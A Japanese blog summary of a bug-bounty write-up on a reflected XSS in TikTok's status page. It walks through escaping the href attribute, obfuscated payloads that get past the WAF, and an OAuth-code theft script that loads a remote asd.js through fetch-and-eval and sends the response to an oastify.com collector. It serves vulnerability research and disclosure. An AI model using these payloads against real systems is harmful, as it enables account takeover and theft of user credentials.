「Breaking TikTok: Our Journey to Finding an Account Takeover Vulnerability」から学ぶ

ソース:

https://medium.com/@mrhavit/breaking-tiktok-our-journey-to-finding-an-account-takeover-vulnerability-b0646aba1c4b

※mediumメンバー以外は見れないかも?汗

 

脆弱性XSS、WAFバイパス、Account Takeover

 

訳:

VPN をオンにして、いつものように TikTok のメイン アプリケーションを閲覧していたときに始まり。
当社の VPN には、接続の場所をランダムに選択するオプションがあり。
TikTokアプリケーションを閲覧していた時点では、接続は中国に設定して。

https://tiktok.com/ にアクセスしようとすると、すぐに別の Web ページにリダイレクトされ、このページはお住まいの地域では利用できません。」と表示されまて。

https://www.tiktok.com/status?status=7&link=https://go.onelink.me/bIdt/

 

新しいリダイレクト URL にはいくつかのパラメーターが含まれて。
最初のパラメータは「status」で、ページのコンテンツを担当。
2 番目のパラメータは「link」ですが、それがページにどのような影響を与えるかはまだわからなーい。

「status」パラメータの値を「1」に変更すると、ページの内容が変更され、新しいボタンが表示され。
そのボタンをクリックすると、「link」パラメータの値にリダイレクトされます。 ここで「link」パラメータが役に立ち

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/BAuo/

 

javascript:alert()」や「javascript://」などの一般的な XSS ペイロードを挿入して「link」パラメータ値のテストを開始しましたが、何も変わらなく。
リダイレクトリンクは「
https://go.onelink.me/BAuo/ 」として設定されたままです。

しばらくして、実際にパスを制御できることに気づき。
これは
 、「link」パラメータの値を「https://go.onelink.me/mrhavit/」にセットでき、実際に HTML に埋め込まれたことを意味して。

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/

 

次のステップは、「href」属性内で行き詰まっているかどうか、またはそこから抜け出していくつかのイベントを設定できるかどうかを確認することで。
ご想像のとおり、エスケープが適切に設定されていなかったため、新しいイベントを「href」属性に正常に挿入でき。

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/%22%20test

 

この時点で、XSS に関して優れたリードがあることに気づき、さらに深く掘り下げ始めました

 

ここでは「href」属性内にいて、必要なイベントを潜在的に挿入できるため、「onclick」が最も適切であるように思え。
これを試してみると、セキュリティ専門家なら誰でも知っている、そして以前に直面したことがある非常に厄介な問題、つまり WAF にすぐに直面しました

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/mrhavit/%22%20onclick=alert(1)

 

これは非常に特殊なケースであり、独自のインジェクション エントリ ポイントであったため、オンラインで見つかり、WAF をバイパスできる XSS ペイロードを使用して簡単に解決することはできませんでした。
そこで、私たちはこの WAF に対処する方法を学び始め、独自のペイロードを作成することでこれをバイパスしようとしました。

 

WAF をバイパスするのは簡単な作業ではなく。
「>」や「<」などの特殊文字は適切にエスケープ/エンコードされたため、いくつかのエンコード トリックを使用することで、「onclick」イベントが正常に挿入され。

時間をかけて JavaScript スキルを活用した後、ついに JavaScript を正常に実行できる素晴らしいバイパスを見つけ。

 

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/dsa\+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window[%27pr%27%2b%27o%27%2b%27m%27+%2b%27pt%27](%271%27)(%271%27)%0D%0Aompt,%0D%0Ax`Tiktok`

 

→このペイロードをデコードすると、、

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/dsa


"<!>!
target="_blank"
onclick=
"
x=window['pr'+'o'+'m' +'pt']('1')('1')
ompt,
x`Tiktok

 

XSS脆弱性をその影響を実証せずに報告することは、私たちの行為ではなく。
ワンクリックで何ができるかを企業に示すことで、企業はそれに伴うリスクを理解することができ、もちろん、脆弱性に対してより多くの対価を支払うことになり:)

アカウントの乗っ取りは、常にXSS脆弱性の影響を示す良い例で。
HTTPOnly フラグのおかげで、最近では Cookie を盗むことはまれですが、ターゲットについて十分な知識があれば、創造的な方法でアカウントを乗っ取ることができる可能性があり。
TikTok OAuth」を活用することでこれを実現することができて。

ほとんどの TikTok サービスは、ログインプロセスのオプションとして「TikTok でログイン」を提供してて。 この記事では「ads.tiktok.com」に焦点を当てますが、この脆弱性は販売者やショップなど他のサービスにも影響しそー。

 

https://ads.tiktok.com/i18n/login/?_source_=ads_homepage&lang=en&region=0

 

TikTokでログイン」をクリックすると、以下のページが表示されるでゲス。

 

 

https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&response_type=code&scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&version=1&lang=en&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb

 

→デコードして、、

 

https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&response_type=code&scope=user.info.basic,user.info.email,user.info.phone,user.info.showcase,video.list.no_watermark,video.list.private_ads.no_watermark,user.account.configure,video.list.manage,live.list,comment.list,comment.list.manage&version=1&lang=en&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&redirect_uri=https://ads.tiktok.com/i18n/login/?_extra=cGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&error_uri=https://ads.tiktok.com/i18n/login/?_extra=cGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb 

 

このページは「www.tiktok.com」でホストされてて、それはXSS 脆弱性が存在するホストと同じで。
「承認」ボタンをクリックすると、次のリクエストが生成され

 

POST /passport/open/web/auth/?client_key=aw8cb3204x0a1g88&scope=user.info.basic%2Cuser.info.phone%2Cuser.account.configure%2Ccomment.list.manage%2Cuser.info.showcase%2Clive.list%2Ccomment.list%2Cvideo.list.private_ads.no_watermark%2Cvideo.list.manage%2Cuser.info.email%2Cvideo.list.no_watermark&aid=1459&source=web&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb HTTP/2
Host: www.tiktok.com
Cookie: .............
Content-Length: 2
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Origin: https://www.tiktok.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.tiktok.com/auth/authorize?client_key=aw8cb3204x0a1g88&response_type=code&scope=user.info.basic%2Cuser.info.email%2Cuser.info.phone%2Cuser.info.showcase%2Cvideo.list.no_watermark%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cvideo.list.manage%2Clive.list%2Ccomment.list%2Ccomment.list.manage&version=1&lang=en&state=b5d324d197693fd0ab0f5bde42020d3f91feb5bb&redirect_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb&error_uri=https%3A%2F%2Fads.tiktok.com%2Fi18n%2Flogin%2F%3F_extra%3DcGxhdGZvcm09dGlrdG9rJmxvZ2luX2FjdGlvbj1yZWRpcmVjdCZzaG93X2JpbmRfZXJyb3I9dHJ1ZSZzaG93X2xvZ291dD10cnVlJm9yaWdpbj1odHRwczovL2Fkcy50aWt0b2suY29tL2kxOG4vbG9naW4vJnVzZXJfc2V0dGluZ19zdGF0dXM9dHJ1ZSZyZWRpcmVjdD1odHRwcyUzQSUyRiUyRmFkcy50aWt0b2suY29tJTJGaTE4biUyRmhvbWUlMkYmZnJvbV9wYWdlPWxvZ2lu%26state%3Db5d324d197693fd0ab0f5bde42020d3f91feb5bb
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{}

応答には、OAuth 認証の「コード」という非常に興味深いものが含まれていて。

 

 

これを XSS脆弱性と組み合わせると、ワンクリックで被害者の OAuth 「コード」が漏洩する可能性があって。
TikTok では修正される前にこの脆弱性が悪用された形跡は確認されていませんでしたが、これらのコードを入手した攻撃者はそれを利用して被害者のアカウントを乗っ取った可能性があり。

 

WAF をバイパスする JS ペイロードを作成し、攻撃者のサーバーから新しいスクリプトをロードしました。
この例では、スクリプトは「
http://127.0.0.1:5500/asd.js 」からロードされ。

 

asd.js」ファイルには、XHR POST リクエストを「OAuth」エンドポイントに送信し、その応答を攻撃者が制御するサーバーに送信する JavaScript コードが含まれてて。

 

var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open("POST", "https://www.tiktok.com/passport/open/web/auth/?client_key=aw8cb3204x0a1g88&scope=user.info.basic%2Cuser.info.phone%2Cvideo.list.manage%2Ccomment.list%2Clive.list%2Cvideo.list.private_ads.no_watermark%2Cuser.account.configure%2Cuser.info.showcase%2Cuser.info.email%2Cvideo.list.no_watermark%2Ccomment.list.manage&aid=1459&source=web&redirect_uri=https%3a%2f%2fads.tiktok.com%2fblablablabla&state=64588d019065e001fa8e7abdd884581c10770400");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send();

function reqListener() {
location='//rqlu5n70d1zgnxxbz3xzlq09b0hr5ntc.oastify.com/log?key='+this.responseText;
};


次のビデオでは、被害者が XSS をクリックし、OAuth の「コード」が攻撃者の制御サーバーに送り返される様子を示しています

※ビデオはソースのHP中を参照下さい。

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/dsa\+%0A%0D%0A%0D%22%3C!%3E!%0D%0Atarget=%22_blank%22%0D%0Aonclick=%0D%0A%22%0D%0Ax=window[%27ev%27%2b%27a%27%2b%27l%27]*1

 

デコードすると、

 

https://www.tiktok.com/status?status=1&link=https://go.onelink.me/dsa


"<!>!
target="_blank"
onclick=
"
x=window['ev'+'a'+'l']*2 

 

ほなほな。

*1:%27fe%27+%2b+%27tch%27+%2b+%27(%27+%2b+%27\%27ht%27+%2b+%27tp%27+%2b+%27%3a//%27+%2b+%27lo%27+%2b+%27ca%27+%2b+%27lho%27+%2b+%27st%27+%2b+%27%3a%27+%2b+%2755%27+%2b+%2700%27+%2b+%27/%27+%2b+%27as%27+%2b+%27d.%27+%2b+%27js\%27%27+%2b+%27)%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se%27+%2b+%27%3d%3E%27+%2b+%27re%27+%2b+%27sp%27+%2b+%27on%27+%2b+%27se.%27+%2b+%27te%27+%2b+%27xt()%27+%2b+%27.%27+%2b+%27the%27+%2b+%27n(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27%3d%3E%27+%2b+%27ev%27+%2b+%27al%27+%2b+%27(%27+%2b+%27te%27+%2b+%27xt%27+%2b+%27)%27+%2b+%27)%27+%2b+%27)%27

*2:'fe' + 'tch' + '(' + '\'ht' + 'tp' + '://' + 'lo' + 'ca' + 'lho' + 'st' + ':' + '55' + '00' + '/' + 'as' + 'd.' + 'js\'' + ')' + '.' + 'the' + 'n(' + 're' + 'sp' + 'on' + 'se' + '=>' + 're' + 'sp' + 'on' + 'se.' + 'te' + 'xt()' + '.' + 'the' + 'n(' + 'te' + 'xt' + '=>' + 'ev' + 'al' + '(' + 'te' + 'xt' + ')' + ')' + ')'